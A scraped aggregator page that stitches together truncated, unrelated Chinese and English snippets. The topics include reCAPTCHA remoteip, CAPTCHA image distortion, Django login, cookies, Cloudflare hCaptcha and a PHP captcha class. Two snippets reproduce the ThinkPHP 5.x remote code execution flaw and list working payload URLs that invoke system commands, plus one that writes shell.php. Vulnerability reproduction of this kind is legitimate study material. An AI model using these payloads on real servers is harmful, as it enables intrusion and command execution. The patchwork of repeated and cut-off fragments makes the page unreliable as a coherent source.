captcha

Google recaptcha remoteip explanation

馋奶兔 提交于 2020-06-16 00:35:32
问题 In the documentation of recaptcha it says that the remoteip argument is optional, but I don't understand its purpose, because even if I send a different IP than REMOTE_ADDR, the response from Google is still a valid captcha. 回答1: It is already asked in Information Security and I will provide the accepted answer here, too. Because it is not clear that it is mainly a security issue: Because there could be a DNS/hosts reroute in place to allow the captcha to be parsed differently by a malicious

Google recaptcha remoteip explanation

孤者浪人 提交于 2020-06-16 00:35:06
问题 In the documentation of recaptcha it says that the remoteip argument is optional, but I don't understand its purpose, because even if I send a different IP than REMOTE_ADDR, the response from Google is still a valid captcha. 回答1: It is already asked in Information Security and I will provide the accepted answer here, too. Because it is not clear that it is mainly a security issue: Because there could be a DNS/hosts reroute in place to allow the captcha to be parsed differently by a malicious

Python CAPTCHA-like image disortion

无人久伴 提交于 2020-05-26 06:09:18
问题 I would like to disort some images the same way standard CAPTCHA disorts fonts. How would I achieve it in python? What libraries/algorithms I should use? Any proof-of-concept? DISCLAIMER: I was googling for some time before I asked this question but I couldn't find any satisfying answer. I'm new to the field so I can't provide any code proving my 'research effort'... 回答1: I think you are looking for PyCaptcha http://svn.navi.cx/misc/trunk/pycaptcha/ The actual code to distort is here: http:/

thinkphp5.x命令执行漏洞复现及环境搭建

拜拜、爱过 提交于 2020-05-04 05:37:30
楼主Linux环境是Centos7,LAMP怎么搭不用我废话吧,别看错了 一.thinkphp5.X系列 1.安装composer yum -y install composer 安装php拓展 yum -y install php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash -y 2.切换目录到/var/www/html cd /var/www/html 安装thinkphp5 博主把含有命令执行漏洞的thinkphp源码链接附上 链接: https://pan.baidu.com/s/1MNqISFeKKT4FcJRHg2rTRw 提取码:se0n 把文件解压到当前目录(/var/www/html)即可 3.浏览器查看是否安装成功 到这里环境就搭建好了(各位看官如果照着前面的步骤没有成功的,麻烦把php运行环境搭建起来) 4.参考官方poc直接执行payload #payload http://192.168.2.134/tp5/public/?s=index/think\app/invokefunction &function =call_user_func_array &vars [0]=system &vars

Thinkphp5 RCE总结

。_饼干妹妹 提交于 2020-05-04 04:39:39
thinkphp 5最出名的就是 rce ,我先总结rce,rce有两个大版本的分别 ThinkPHP 5.0-5.0.24 ThinkPHP 5.1.0-5.1.30 因为漏洞触发点和版本的不同,导致payload分为多种,其中一些payload需要取决于debug选项 比如直接访问路由触发的 5.1.x : ?s=index/thinkRequest/input&filter[]=system&data=pwd ?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?> ?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 5.0.x : ?s=index/thinkconfig/get&name=database

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

柔情痞子 提交于 2020-05-04 03:30:46
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/details/86668057 版权声明:本文为博主原创文章,转载请附上博文链接! 漏洞概述: ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。 漏洞版本: 5.0.x 5.1.x 5.2.x 漏洞搭建: 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d 5.1.x之后,必须在本地搭建,vulhub未提供。 如图所示搭建成功,走起! 漏洞复现: 分两个版本5.0.x和5.1.x、5.2.x,分别验证。 1.版本5.0.x 将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method

Django实战-用户注册和登陆系统

无人久伴 提交于 2020-05-02 16:25:12
1.环境搭建和创建项目 1.环境搭建 每当我们开始一个新项目的时候,通常都会搭建一个全新、独立、隔离的项目环境,这样做的好处自然不必多说。有很多种建立项目虚拟环境的工具,使用比较普遍的是Python中的virtualenv。安装好virtualenv工具后,进入想要放置的项目文件夹,建立一个虚拟环境,激活环境,安装django。 virtualenv - p python3 venv #创建虚拟环境 source venv /bin/ activate #激活虚拟环境 pip install django== 1.11 . 7 #安装django 2.创建项目 在当前虚拟环境,创建django项目,完成后会生成login_site项目文件夹,进入,运行django内置服务器,在本机的浏览器中访问 http://127.0.0.1:8000/ ,这时我们的django服务已经跑起来了。 django- admin startproject login_site cd login_site python manage.py startapp login #创建app python manage.py runserver Django默认使用美国时间和英语,我们可以将时间和语言更改一下。配置文件主要在setting.py中, # before LANGUAGE_CODE = ' en

javaWeb核心技术第八篇之Cookie和Session

风格不统一 提交于 2020-05-02 13:16:01
会话技术: 会话是什么? 浏览器和服务器交互,浏览器打开网页访问服务器,会话开始,正常交互. 浏览器关闭,会话结束. 会话能干什么? 会话可以共享数据. Cookie和session将数据保存在不同的位置 进行数据共享 Cookie入门案例 1.创建一个cookie对象 a. Cookie cookie = new Cookie(String name,String value); 2.响应给浏览器 a.Response.addCookie(cookie) 3.再次请求时需要获得cookie a.Request.getCookies() 获得的是数组(包含所有的cookie,如果没有cookie,返回值为null) 4.Cookie.getName() 获得名称 cookie.getValue() 获得值 Cookie原理--会话级别cookie Http中头信息进行数据传输 Cookie默认是会话级别的cookie,浏览器打开访问服务器 ,交互的时候数据共享,当前浏览器关闭的时候数据失效. Cookie细节--持久化级别的cookie 以后开发需要设置时间(cookie的存活时间) Cookie.setMaxAge(秒) 以后开发需要设置路径(访问路径)(作用:cookie 作用域 如果请求地址栏跟cookie文件里cookie路径一致 自动携带) Cookie.setPath(

安全服务商Cloudflare撰文解释:我们为什么要把reCAPTCHA换成图形验证码?

我是研究僧i 提交于 2020-04-30 13:06:44
导读:2020年4月,安全服务商Cloudflare决定将reCAPTCHA切换为图形验证码。由于切换,可能会对其用户带来一些影响,于是Cloudflare在其官方博客上撰文解释了当时为什么会选择reCAPTCHA、现在放弃的原因,以及为什么最终选择了图形验证码。 《Moving from reCAPTCHA to hCaptcha》作者是Matthew Prince和Sergi Isasi,以下是该篇文章的编译内容: 我们最近将验证码提供商从Google的reCAPTCHA迁移到了独立的图形验证码服务。我们惊喜于这次改变, 它帮助我们解决了一直以来因使用Google服务而产生的隐私问题 ,并且使我们能更灵活地定制所展示的验证码,如下图所示。 因为这次迁移可能对Cloudflare的用户产生影响,所以我们打算对其基本原理作进一步解释。 Cloudflare提供的服务之一是阻止恶意自动化(机器人)流量,我们也使用了一系列技术来解决这个问题。当我们认为某些流量是恶意机器人活动时,我们会完全阻止它。当我们确信其是非恶意的人为流量,或者善意机器人比如搜索引擎爬虫,我们会让它通过。但是当我们不能百分百确定它是否是恶意时,我们就需要给它一个“测试”。 我们有不同类型的测试,有些是完全自动的,而有一个则需要人为干预,这个测试就是CAPTCHAs(验证码)。它是Completely

PHP模块之验证码

蓝咒 提交于 2020-04-29 23:20:14
目录 1. 前言 2. 验证码模块的实现 2.1 实现步骤 2.2 创建底图 并填充 2.3创建验证码 2.4绘制验证码 2.5 添加干扰点数 2.5.1雪花干扰元素 2.5.2像素干扰元素 2.5.3线段干扰元素 2.6输出/保存/ 销毁图片 3. 总结 1.前言 验证码的实现是当前网站必备的技术栈,那么验证码究竟是怎么实现的呢?让我们一起揭开它的神秘面纱。 代码分享: https://github.com/mtdgclub/libraryClass 详见Captcha.class.php 2.验证码模块的实现 2.1 实现步骤 创建底图 并填充 创建验证码 绘制验证码 添加干扰 元素 输出/保存/ 销毁图片 2.2 创建底图 并填充 //通过该函数创建底图 $image = imagecreatetruecolor(100, 30); //#FFFFFFFFFFFF,做个白色填充 $bgcolor = imagecolorallocate($image, 255, 255, 255); //填充到底图中 imagefill($image, 0, 0, $bgcolor); PS: imagecreatetruecolor默认输出是黑色的背景 , 可通过 imagecolorallocate ()函数生成一块填充图,再通过imagefill给背景填充颜色。 2.3创建验证码 /*